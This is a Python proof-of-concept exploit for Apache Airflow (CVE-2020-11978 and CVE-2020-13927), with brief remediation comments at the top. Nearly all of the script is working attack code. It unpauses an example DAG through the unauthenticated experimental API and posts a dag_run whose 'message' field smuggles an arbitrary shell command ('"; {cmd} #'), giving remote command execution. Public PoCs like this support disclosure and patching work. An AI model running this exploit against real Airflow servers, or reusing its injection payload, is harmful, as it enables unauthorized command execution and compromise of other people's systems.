# This is a minimal PoC without any checks on whether or not the Airflow instance is vulnerable. # # Proof of concept written by: Pepe Berba # Repo: https://github.com/pberba/CVE-2020-11978 # More information can be found here: # https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E # https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E # # Remediation: # For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set. # For CVE-2020-11978 use >=1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG. # # Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test" import argparse import requests import sys import time def create_dag(url, cmd): unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url)) res = requests.post( '{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url), json={ 'conf': { 'message': '"; {} #'.format(cmd) } } ) def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('url', type=str, help="Base URL for Airflow") arg_parser.add_argument('command', type=str) args = arg_parser.parse_args() create_dag( args.url, args.command ) if __name__ == '__main__': main()